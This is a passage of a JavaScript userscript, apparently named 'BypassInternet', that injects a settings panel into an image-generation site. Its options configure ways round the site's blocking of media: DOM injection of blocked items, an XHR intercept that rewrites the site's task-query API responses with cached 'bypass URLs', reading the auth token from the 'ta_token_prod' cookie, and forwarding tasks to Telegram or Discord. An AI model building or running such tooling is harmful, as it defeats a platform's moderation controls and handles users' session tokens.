          featuresDiv.appendChild(featureCard);
        }

        aboutSection.appendChild(featuresDiv);
      }

      if (remoteConfig?.supported_platforms?.length > 0) {
        const platformsDiv = document.createElement('div');
        platformsDiv.style.cssText = 'padding: 20px 0; border-top: 1px solid #475569;';
        platformsDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-globe"></i> Supported Platforms</h3>';

        for (const platform of remoteConfig.supported_platforms) {
          const statusColor = platform.status === 'stable' ? '#10b981' : platform.status === 'experimental' ? '#f59e0b' : '#6366f1';
          const compatibilityBar = platform.compatibility ? `
            <div style="margin-top: 6px;">
              <div style="background: #1e293b; height: 6px; border-radius: 3px; overflow: hidden;">
                <div style="background: ${statusColor}; height: 100%; width: ${platform.compatibility}%;"></div>
              </div>
              <div style="font-size: 10px; color: #94a3b8; margin-top: 2px;">${platform.compatibility}% compatible</div>
            </div>
          ` : '';

          platformsDiv.innerHTML += `
            <div style="margin-bottom: 10px; padding: 10px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;">
              <div style="font-weight: 600; font-size: 13px;">
                ${platform.name}
                <span style="font-size: 10px; background: ${statusColor}; color: white; padding: 2px 6px; border-radius: 4px; margin-left: 8px;">${platform.status}</span>
              </div>
              ${platform.notes ? `<div style="font-size: 11px; color: #cbd5e1; margin-top: 4px;">${platform.notes}</div>` : ''}
              ${compatibilityBar}
            </div>
          `;
        }

        aboutSection.appendChild(platformsDiv);
      }

      const footer = document.createElement('div');
      footer.style.cssText = 'padding-top: 20px; border-top: 1px solid #475569; text-align: center; font-size: 11px; color: #94a3b8;';
      footer.innerHTML = `
        <div style="margin-bottom: 8px;">Made with care for a free and open internet</div>
        ${remoteConfig?.script?.repository ? `<a href="${remoteConfig.script.repository}" target="_blank" style="color: #6366f1; text-decoration: none;">Repository</a> • ` : ''}
        ${remoteConfig?.script?.support_url ? `<a href="${remoteConfig.script.support_url}" target="_blank" style="color: #6366f1; text-decoration: none;">Support</a>` : ''}
      `;
      aboutSection.appendChild(footer);

      content.appendChild(aboutSection);
    } else if (currentTab === 'developers') {
      const devsContent = createDevelopersContent();
      content.appendChild(devsContent);
    } else if (currentTab === 'help') {
      const helpContent = createHelpContent();
      content.appendChild(helpContent);
    }

    if (renderToken !== uiRenderToken) return;
    container.appendChild(content);
    const restoreScrollTop = Number(tabScrollPositions[currentTab] || 0);
    if (restoreScrollTop > 0) {
      requestAnimationFrame(() => {
        try {
          content.scrollTop = restoreScrollTop;
        } catch {
          // ignore
        }
      });
    }
    if (currentTab === 'home') {
      refreshSelectionUI();
    }

    // Add or reuse resize handle
    let resizeHandle = container.querySelector('.bypass-resize-handle');
    if (!resizeHandle) {
      resizeHandle = document.createElement('div');
      resizeHandle.className = 'bypass-resize-handle';
    }
    container.appendChild(resizeHandle);

    if (!container.isConnected && document.body) {
      document.body.appendChild(container);
    }
    applyIconFallback(container);

    // Setup drag and resize once per floating shell.
    if (containerWasCreated) {
      setupDragAndResize(container, header);
    }
  }

  function injectSettingsIntoPage(force = false) {
    // Check if on settings page
    const url = window.location.href;
    if (!url.includes('/settings')) {
      if (settingsInjected) {
        settingsInjected = false;
      }
      return;
    }

    // Check for settings page heading
    const heading = document.querySelector('h1.fw-600.text-32.lh-38.c-text-primary');
    if (!heading || !heading.textContent.includes('Settings')) {
      return;
    }

    // Avoid duplicate injection unless forced (used after saving settings)
    const existingSection = document.getElementById('bypass-settings-section');
    if (existingSection) {
      if (!force) return;
      existingSection.remove();
    }

    // Find the settings container
    const settingsContainer = document.querySelector('div.px-16.md\\:w-666.md\\:mx-auto');
    if (!settingsContainer) {
      return;
    }

    // Create BypassInternet settings section (main container)
    const section = document.createElement('section');
    section.id = 'bypass-settings-section';
    section.className = 'flex flex-col gap-16';
    section.style.marginTop = '24px';
    section.style.paddingTop = '24px';
    section.style.borderTop = '1px solid #475569';

    // Helper: create Tensor-styled buttons by reusing site classes when possible
    const createTensorButton = (label, type = 'primary') => {
      const btn = document.createElement('button');
      btn.type = 'button';
      btn.tabIndex = 0;

      // Try to copy the site's current button classes to keep style consistent.
      // Fallback to the sample classes provided by user.
      const anySiteBtn = document.querySelector('button.n-button');
      const baseClass = (anySiteBtn && anySiteBtn.className) || '__button-dark-njtao5-blmme n-button n-button--medium-type n-button--ghost';
      const cleaned = baseClass
        .split(/\s+/)
        .filter(Boolean)
        .filter(c => !/^n-button--(primary|success|warning|error|info)-type$/.test(c))
        .join(' ');

      btn.className = `${cleaned} n-button--${type}-type`;
      btn.innerHTML = `
        <span class="n-button__content">${label}</span>
        <div aria-hidden="true" class="n-base-wave"></div>
        <div aria-hidden="true" class="n-button__border"></div>
        <div aria-hidden="true" class="n-button__state-border"></div>
      `;
      return btn;
    };

    // Title
    const title = document.createElement('h2');
    title.className = 'fw-600 text-20 lh-28 c-text-primary';
    title.innerHTML = '<i class="fas fa-shield-alt"></i> BypassInternet Settings';
    title.style.marginBottom = '16px';
    section.appendChild(title);

    // ============================================================================
    // DISPLAY & APPEARANCE SECTION
    // ============================================================================
    const { section: displaySection, content: displayContent } = createCollapsibleSection('Display & Appearance', 'fa-palette', true);
    section.appendChild(displaySection);

    // Theme selector
    const themeGroup = document.createElement('div');
    themeGroup.className = 'flex flex-col gap-8';
    const themeLabel = document.createElement('label');
    themeLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
    themeLabel.innerHTML = 'Theme';
    const themeSelect = document.createElement('select');
    themeSelect.id = 'bypass-settings-theme';
    themeSelect.name = 'theme';
    themeSelect.style.cssText = `
      width: 100%;
      padding: 8px 12px;
      border: 1px solid #475569;
      border-radius: 6px;
      background: #1e293b;
      color: #f1f5f9;
      font-size: 14px;
      cursor: pointer;
    `;
    themeSelect.onclick = (e) => e.stopPropagation();
    ['dark', 'light'].forEach(theme => {
      const opt = document.createElement('option');
      opt.value = theme;
      opt.textContent = theme.charAt(0).toUpperCase() + theme.slice(1);
      if (theme === settings.theme) opt.selected = true;
      themeSelect.appendChild(opt);
    });
    themeSelect.onchange = () => {
      settings.theme = themeSelect.value;
      saveSettings();
      updateUI();
    };
    themeGroup.appendChild(themeLabel);
    themeGroup.appendChild(themeSelect);
    displayContent.appendChild(themeGroup);

    // User Token
    const tokenGroup = document.createElement('div');
    tokenGroup.className = 'flex flex-col gap-8';
    const tokenLabel = document.createElement('label');
    tokenLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
    tokenLabel.innerHTML = '<i class="fas fa-key"></i> User Token';
    const tokenInput = document.createElement('input');
    tokenInput.id = 'bypass-settings-token';
    tokenInput.name = 'token';
    tokenInput.type = 'password';
    tokenInput.placeholder = 'Auto-detected from cookie (editing disabled)';
    tokenInput.value = userToken || '';
    tokenInput.disabled = true;
    tokenInput.style.cssText = `
      width: 100%;
      padding: 8px 12px;
      border: 1px solid #475569;
      border-radius: 6px;
      background: #1e293b;
      color: #f1f5f9;
      font-size: 14px;
      opacity: 0.7;
      cursor: not-allowed;
    `;
    tokenInput.onclick = (e) => e.stopPropagation();

    const tokenNote = document.createElement('div');
    tokenNote.style.cssText = 'font-size: 12px; color: #cbd5e1; opacity: 0.85; margin-top: 6px; line-height: 1.4;';
    tokenNote.innerHTML = 'Token is read from <code>ta_token_prod</code> cookie. Editing is disabled for safety.';
    tokenGroup.appendChild(tokenLabel);
    tokenGroup.appendChild(tokenInput);
    tokenGroup.appendChild(tokenNote);
    section.appendChild(tokenGroup);

    const injectionHeader = document.createElement('div');
    injectionHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
    injectionHeader.textContent = 'Injection Method';
    section.appendChild(injectionHeader);

    const safeViewLabel = document.createElement('label');
    safeViewLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const safeViewInput = document.createElement('input');
    safeViewInput.type = 'checkbox';
    safeViewInput.checked = settings.safeViewMode;
    safeViewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    safeViewInput.onchange = () => {
      if (settings.xhrInterceptEnabled && safeViewInput.checked) {
        safeViewInput.checked = false;
        showToast('Disable XHR Intercept first to use Safe View.', 'warning');
        return;
      }
      settings.safeViewMode = safeViewInput.checked;
      if (settings.safeViewMode) {
        settings.injectOnDom = false;
      }
      saveSettings();
      if (settings.safeViewMode) {
        startDomInjectionWatcher();
      } else if (!settings.injectOnDom) {
        stopDomInjectionWatcher();
      }
      injectSettingsIntoPage(true);
    };
    safeViewLabel.appendChild(safeViewInput);
    safeViewLabel.appendChild(document.createTextNode('Safe View Blocked Media'));
    section.appendChild(safeViewLabel);

    const injectDomLabel = document.createElement('label');
    injectDomLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const injectDomInput = document.createElement('input');
    injectDomInput.type = 'checkbox';
    injectDomInput.checked = settings.injectOnDom;
    injectDomInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    injectDomInput.onchange = () => {
      if (settings.xhrInterceptEnabled && injectDomInput.checked) {
        injectDomInput.checked = false;
        showToast('Disable XHR Intercept first to use Inject On DOM.', 'warning');
        return;
      }
      settings.injectOnDom = injectDomInput.checked;
      if (settings.injectOnDom) {
        settings.safeViewMode = false;
      }
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
      if (settings.injectOnDom) {
        startDomInjectionWatcher();
      } else if (!settings.safeViewMode) {
        stopDomInjectionWatcher();
      }
      injectSettingsIntoPage(true);
    };
    injectDomLabel.appendChild(injectDomInput);
    injectDomLabel.appendChild(document.createTextNode('Inject On DOM'));
    section.appendChild(injectDomLabel);

    const injectBlockedOnlyLabel = document.createElement('label');
    injectBlockedOnlyLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const injectBlockedOnlyInput = document.createElement('input');
    injectBlockedOnlyInput.type = 'checkbox';
    injectBlockedOnlyInput.checked = !!settings.injectBlockedOnly;
    injectBlockedOnlyInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    injectBlockedOnlyInput.onchange = () => {
      settings.injectBlockedOnly = injectBlockedOnlyInput.checked;
      saveSettings();
      injectBlockedMediaIntoDom();
      injectSettingsIntoPage(true);
    };
    injectBlockedOnlyLabel.appendChild(injectBlockedOnlyInput);
    injectBlockedOnlyLabel.appendChild(document.createTextNode('Inject On Blocked Only'));
    section.appendChild(injectBlockedOnlyLabel);

    const xhrInterceptHeader = document.createElement('div');
    xhrInterceptHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
    xhrInterceptHeader.textContent = 'XHR Intercept (Powerful)';
    section.appendChild(xhrInterceptHeader);

    const xhrInterceptNote = document.createElement('div');
    xhrInterceptNote.style.cssText = `
      margin: 8px 0 10px 0;
      padding: 10px;
      border-radius: 8px;
      border: 1px solid rgba(245, 158, 11, 0.35);
      background: rgba(245, 158, 11, 0.10);
      color: #fcd34d;
      font-size: 12px;
      line-height: 1.45;
    `;
    xhrInterceptNote.innerHTML = '<i class="fas fa-bolt"></i> Intercepts <code>/works/v1/works/tasks/query</code>, forces request <code>size=10</code>, patches FINISH+invalid items with cached bypass URLs, and prefixes filename with <code>FREEInterent-</code>. Enabling this disables Inject On DOM and Safe View.';
    section.appendChild(xhrInterceptNote);

    const xhrInterceptLabel = document.createElement('label');
    xhrInterceptLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const xhrInterceptInput = document.createElement('input');
    xhrInterceptInput.type = 'checkbox';
    xhrInterceptInput.checked = !!settings.xhrInterceptEnabled;
    xhrInterceptInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    xhrInterceptInput.onchange = () => {
      settings.xhrInterceptEnabled = xhrInterceptInput.checked;
      enforceXhrInterceptModeState();
      saveSettings();
      tensorInterceptLog('info', `XHR Intercept mode ${settings.xhrInterceptEnabled ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
      injectBlockedMediaIntoDom();
      injectSettingsIntoPage(true);
    };
    xhrInterceptLabel.appendChild(xhrInterceptInput);
    xhrInterceptLabel.appendChild(document.createTextNode('Enable XHR Intercept Mode'));
    section.appendChild(xhrInterceptLabel);

    const xhrLogsLabel = document.createElement('label');
    xhrLogsLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const xhrLogsInput = document.createElement('input');
    xhrLogsInput.type = 'checkbox';
    xhrLogsInput.checked = !!settings.tensorInterceptEnableUiLogs;
    xhrLogsInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    xhrLogsInput.onchange = () => {
      settings.tensorInterceptEnableUiLogs = xhrLogsInput.checked;
      saveSettings();
      tensorInterceptLog('info', `Tensor intercept logs ${settings.tensorInterceptEnableUiLogs ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
      injectSettingsIntoPage(true);
    };
    xhrLogsLabel.appendChild(xhrLogsInput);
    xhrLogsLabel.appendChild(document.createTextNode('Enable Tensor Intercept Logs'));
    section.appendChild(xhrLogsLabel);

    const xhrTelegramInjectLabel = document.createElement('label');
    xhrTelegramInjectLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const xhrTelegramInjectInput = document.createElement('input');
    xhrTelegramInjectInput.type = 'checkbox';
    xhrTelegramInjectInput.checked = !!settings.tensorInjectTelegramButtons;
    xhrTelegramInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    xhrTelegramInjectInput.onchange = () => {
      settings.tensorInjectTelegramButtons = xhrTelegramInjectInput.checked;
      saveSettings();
      tensorInterceptLog('info', `Tensor Telegram quick injection ${settings.tensorInjectTelegramButtons ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
      injectBlockedMediaIntoDom();
      injectSettingsIntoPage(true);
    };
    xhrTelegramInjectLabel.appendChild(xhrTelegramInjectInput);
    xhrTelegramInjectLabel.appendChild(document.createTextNode('Implemet telegram injection'));
    section.appendChild(xhrTelegramInjectLabel);

    const xhrDiscordInjectLabel = document.createElement('label');
    xhrDiscordInjectLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 12px 0;
    `;
    const xhrDiscordInjectInput = document.createElement('input');
    xhrDiscordInjectInput.type = 'checkbox';
    xhrDiscordInjectInput.checked = !!settings.tensorInjectDiscordButtons;
    xhrDiscordInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    xhrDiscordInjectInput.onchange = () => {
      settings.tensorInjectDiscordButtons = xhrDiscordInjectInput.checked;
      saveSettings();
      tensorInterceptLog('info', `Tensor Discord quick injection ${settings.tensorInjectDiscordButtons ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
      injectBlockedMediaIntoDom();
      injectSettingsIntoPage(true);
    };
    xhrDiscordInjectLabel.appendChild(xhrDiscordInjectInput);
    xhrDiscordInjectLabel.appendChild(document.createTextNode('Implemnt discord inejction'));
    section.appendChild(xhrDiscordInjectLabel);

    const xhrSmoothNote = document.createElement('div');
    xhrSmoothNote.style.cssText = `
      margin: 8px 0 12px 0;
      padding: 10px;
      border-radius: 8px;
      border: 1px solid rgba(99, 102, 241, 0.28);
      background: rgba(99, 102, 241, 0.10);
      color: #cbd5e1;
      font-size: 12px;
      line-height: 1.45;
    `;
    xhrSmoothNote.innerHTML = '<i class="fas fa-sparkles"></i> this feature is very powerfull and smoOth';
    section.appendChild(xhrSmoothNote);

    const xhrLogsMaxWrap = document.createElement('div');
    xhrLogsMaxWrap.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px; margin: 10px 0 14px 0;';
    const xhrLogsMaxText = document.createElement('div');
    xhrLogsMaxText.style.cssText = 'font-size: 13px; color: #cbd5e1;';
    xhrLogsMaxText.textContent = 'Max Tensor Intercept Log Entries';
    const xhrLogsMaxInput = document.createElement('input');
    xhrLogsMaxInput.type = 'number';
    xhrLogsMaxInput.min = '50';
    xhrLogsMaxInput.max = '5000';
    xhrLogsMaxInput.step = '50';
    xhrLogsMaxInput.value = String(Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600));
    xhrLogsMaxInput.style.cssText = `
      width: 120px;
      padding: 8px 12px;
      border: 1px solid #475569;
      border-radius: 6px;
      background: #1e293b;
      color: #f1f5f9;
      font-size: 14px;
    `;
    xhrLogsMaxInput.onchange = () => {
      settings.tensorInterceptMaxLogs = Math.max(50, Math.min(5000, Number(xhrLogsMaxInput.value) || 600));
      saveSettings();
      tensorInterceptLog('info', 'Updated Tensor intercept log limit', { source: 'settings-page', max: settings.tensorInterceptMaxLogs });
    };
    xhrLogsMaxWrap.appendChild(xhrLogsMaxText);
    xhrLogsMaxWrap.appendChild(xhrLogsMaxInput);
    section.appendChild(xhrLogsMaxWrap);

    const autoShowLabel = document.createElement('label');
    autoShowLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const autoShowInput = document.createElement('input');
    autoShowInput.type = 'checkbox';
    autoShowInput.checked = settings.autoShowPanel;
    autoShowInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    autoShowInput.onchange = () => {
      settings.autoShowPanel = autoShowInput.checked;
      localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
    };
    autoShowLabel.appendChild(autoShowInput);
    autoShowLabel.appendChild(document.createTextNode('Auto-show Panel on Detect'));
    section.appendChild(autoShowLabel);

    const previewLabel = document.createElement('label');
    previewLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const previewInput = document.createElement('input');
    previewInput.type = 'checkbox';
    previewInput.checked = settings.preview;
    previewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    previewInput.onchange = () => {
      settings.preview = previewInput.checked;
      saveSettings();
      updateUI();
    };
    previewLabel.appendChild(previewInput);
    previewLabel.appendChild(document.createTextNode('Preview Media'));
    section.appendChild(previewLabel);

    const autoDownloadLabel = document.createElement('label');
    autoDownloadLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const autoDownloadInput = document.createElement('input');
    autoDownloadInput.type = 'checkbox';
    autoDownloadInput.checked = settings.autoDownload;
    autoDownloadInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    autoDownloadInput.onchange = () => {
      settings.autoDownload = autoDownloadInput.checked;
      saveSettings();
    };
    autoDownloadLabel.appendChild(autoDownloadInput);
    autoDownloadLabel.appendChild(document.createTextNode('Auto-download on Detect'));
    section.appendChild(autoDownloadLabel);

    const inheritLabel = document.createElement('label');
    inheritLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const inheritInput = document.createElement('input');
    inheritInput.type = 'checkbox';
    inheritInput.checked = settings.inheritTheme;
    inheritInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    inheritInput.onchange = () => {
      settings.inheritTheme = inheritInput.checked;
      saveSettings();
      injectStyles();
      updateUI();
    };
    inheritLabel.appendChild(inheritInput);
    inheritLabel.appendChild(document.createTextNode('Inherit Page Theme'));
    section.appendChild(inheritLabel);

    const videoModalLabel = document.createElement('label');
    videoModalLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const videoModalInput = document.createElement('input');
    videoModalInput.type = 'checkbox';
    videoModalInput.checked = settings.showVideoModal;
    videoModalInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    videoModalInput.onchange = () => {
      settings.showVideoModal = videoModalInput.checked;
      saveSettings();
    };
    videoModalLabel.appendChild(videoModalInput);
    videoModalLabel.appendChild(document.createTextNode('Enable Video Modal'));
    section.appendChild(videoModalLabel);

    const tooltipLabel = document.createElement('label');
    tooltipLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const tooltipInput = document.createElement('input');
    tooltipInput.type = 'checkbox';
    tooltipInput.checked = settings.showBlockedTooltip;
    tooltipInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    tooltipInput.onchange = () => {
      settings.showBlockedTooltip = tooltipInput.checked;
      saveSettings();
      injectSettingsIntoPage(true);
      injectBlockedMediaIntoDom();
      updateUI();
    };
    tooltipLabel.appendChild(tooltipInput);
    tooltipLabel.appendChild(document.createTextNode('Show Blocked Media Tooltip (Injected Only)'));
    section.appendChild(tooltipLabel);

    if (settings.showBlockedTooltip) {
      const keepTooltipLabel = document.createElement('label');
      keepTooltipLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 16px 0;
      `;
      const keepTooltipInput = document.createElement('input');
      keepTooltipInput.type = 'checkbox';
      keepTooltipInput.checked = settings.keepBlockedTooltipOpen;
      keepTooltipInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      keepTooltipInput.onchange = () => {
        settings.keepBlockedTooltipOpen = keepTooltipInput.checked;
        saveSettings();
      };
      keepTooltipLabel.appendChild(keepTooltipInput);
      keepTooltipLabel.appendChild(document.createTextNode('Keep last tooltip open'));
      section.appendChild(keepTooltipLabel);
    }

    const injectedHelpLabel = document.createElement('label');
    injectedHelpLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const injectedHelpInput = document.createElement('input');
    injectedHelpInput.type = 'checkbox';
    injectedHelpInput.checked = settings.showInjectedHelpTooltips;
    injectedHelpInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    injectedHelpInput.onchange = () => {
      settings.showInjectedHelpTooltips = injectedHelpInput.checked;
      saveSettings();
      injectBlockedMediaIntoDom();
    };
    injectedHelpLabel.appendChild(injectedHelpInput);
    injectedHelpLabel.appendChild(document.createTextNode('Injected buttons help tooltips'));
    section.appendChild(injectedHelpLabel);

    const downloadPreviewLabel = document.createElement('label');
    downloadPreviewLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const downloadPreviewInput = document.createElement('input');
    downloadPreviewInput.type = 'checkbox';
    downloadPreviewInput.checked = settings.showDownloadPreview;
    downloadPreviewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    downloadPreviewInput.onchange = () => {
      settings.showDownloadPreview = downloadPreviewInput.checked;
      saveSettings();
      updateGlobalActionProgressFromQueue();
      updateUI();
    };
    downloadPreviewLabel.appendChild(downloadPreviewInput);
    downloadPreviewLabel.appendChild(document.createTextNode('Preview current download'));
    section.appendChild(downloadPreviewLabel);

    const tasksHeader = document.createElement('div');
    tasksHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
    tasksHeader.textContent = 'Task Actions';
    section.appendChild(tasksHeader);

    if (settings.telegramEnabled) {
      const sendAllTg = document.createElement('label');
      sendAllTg.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
      const sendAllTgInput = document.createElement('input');
      sendAllTgInput.type = 'checkbox';
      sendAllTgInput.checked = settings.sendAllTasksTelegram;
      sendAllTgInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      sendAllTgInput.onchange = () => {
        settings.sendAllTasksTelegram = sendAllTgInput.checked;
        saveSettings();
        injectBlockedMediaIntoDom();
      };
      sendAllTg.appendChild(sendAllTgInput);
      sendAllTg.appendChild(document.createTextNode('Telegram: Send all tasks'));
      section.appendChild(sendAllTg);
    }

    if (settings.discordEnabled) {
      const sendAllDiscord = document.createElement('label');
      sendAllDiscord.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
      const sendAllDiscordInput = document.createElement('input');
      sendAllDiscordInput.type = 'checkbox';
      sendAllDiscordInput.checked = settings.sendAllTasksDiscord;
      sendAllDiscordInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      sendAllDiscordInput.onchange = () => {
        settings.sendAllTasksDiscord = sendAllDiscordInput.checked;
        saveSettings();
        injectBlockedMediaIntoDom();
      };
      sendAllDiscord.appendChild(sendAllDiscordInput);
      sendAllDiscord.appendChild(document.createTextNode('Discord: Send all tasks'));
      section.appendChild(sendAllDiscord);
    }

    const sendAllDownload = document.createElement('label');
    sendAllDownload.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
    const sendAllDownloadInput = document.createElement('input');
    sendAllDownloadInput.type = 'checkbox';
    sendAllDownloadInput.checked = settings.sendAllTasksDownload;
    sendAllDownloadInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    sendAllDownloadInput.onchange = () => {
      settings.sendAllTasksDownload = sendAllDownloadInput.checked;
      saveSettings();
      injectBlockedMediaIntoDom();
    };
    sendAllDownload.appendChild(sendAllDownloadInput);
    sendAllDownload.appendChild(document.createTextNode('Download: All tasks'));
    section.appendChild(sendAllDownload);

    const preventDupLabel = document.createElement('label');
    preventDupLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
    const preventDupInput = document.createElement('input');
    preventDupInput.type = 'checkbox';
    preventDupInput.checked = settings.preventDuplicateTasks;
    preventDupInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    preventDupInput.onchange = () => {
      settings.preventDuplicateTasks = preventDupInput.checked;
      saveSettings();
    };
    preventDupLabel.appendChild(preventDupInput);
    preventDupLabel.appendChild(document.createTextNode('Prevent duplicate actions'));
    section.appendChild(preventDupLabel);

    const showBypassLinkLabel = document.createElement('label');
    showBypassLinkLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
    const showBypassLinkInput = document.createElement('input');
    showBypassLinkInput.type = 'checkbox';
    showBypassLinkInput.checked = settings.showBypassedLink;
    showBypassLinkInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    showBypassLinkInput.onchange = () => {
      settings.showBypassedLink = showBypassLinkInput.checked;
      saveSettings();
      injectBlockedMediaIntoDom();
      updateUI();
    };
    showBypassLinkLabel.appendChild(showBypassLinkInput);
    showBypassLinkLabel.appendChild(document.createTextNode('Show bypassed link'));
    section.appendChild(showBypassLinkLabel);

    const copyFeatureLabel = document.createElement('label');
    copyFeatureLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
    const copyFeatureInput = document.createElement('input');
    copyFeatureInput.type = 'checkbox';
    copyFeatureInput.checked = settings.enableCopyBypassedLinks;
    copyFeatureInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    copyFeatureInput.onchange = () => {
      settings.enableCopyBypassedLinks = copyFeatureInput.checked;
      saveSettings();
      injectSettingsIntoPage(true);
      injectBlockedMediaIntoDom();
      updateUI();
    };
    copyFeatureLabel.appendChild(copyFeatureInput);
    copyFeatureLabel.appendChild(document.createTextNode('Enable copy bypassed links'));
    section.appendChild(copyFeatureLabel);

    if (settings.enableCopyBypassedLinks) {
      const copyInjectLabel = document.createElement('label');
      copyInjectLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
      const copyInjectInput = document.createElement('input');
      copyInjectInput.type = 'checkbox';
      copyInjectInput.checked = settings.copyInjectOnPage;
      copyInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      copyInjectInput.onchange = () => {
        settings.copyInjectOnPage = copyInjectInput.checked;
        saveSettings();
        injectBlockedMediaIntoDom();
      };
      copyInjectLabel.appendChild(copyInjectInput);
      copyInjectLabel.appendChild(document.createTextNode('Inject copy button on page'));
      section.appendChild(copyInjectLabel);
    }

    if (settings.showBlockedTooltip) {
      const tooltipPreviewLabel = document.createElement('label');
      tooltipPreviewLabel.style.cssText = `
        display: flex;
        align-items: center;
        gap: 12px;
        cursor: pointer;
        font-size: 14px;
        margin: 16px 0;
      `;
      const tooltipPreviewInput = document.createElement('input');
      tooltipPreviewInput.type = 'checkbox';
      tooltipPreviewInput.checked = settings.showBlockedTooltipPreview;
      tooltipPreviewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
      tooltipPreviewInput.onchange = () => {
        settings.showBlockedTooltipPreview = tooltipPreviewInput.checked;
        saveSettings();
        injectBlockedMediaIntoDom();
        updateUI();
      };
      tooltipPreviewLabel.appendChild(tooltipPreviewInput);
      tooltipPreviewLabel.appendChild(document.createTextNode('View media on tooltip'));
      section.appendChild(tooltipPreviewLabel);
    }

    // Auto-check toggle
    const autoCheckLabel = document.createElement('label');
    autoCheckLabel.style.cssText = `
      display: flex;
      align-items: center;
      gap: 12px;
      cursor: pointer;
      font-size: 14px;
      margin: 16px 0;
    `;
    const autoCheckInput = document.createElement('input');
    autoCheckInput.type = 'checkbox';
    autoCheckInput.checked = settings.autoCheck;
    autoCheckInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
    autoCheckInput.onchange = () => {
      settings.autoCheck = autoCheckInput.checked;
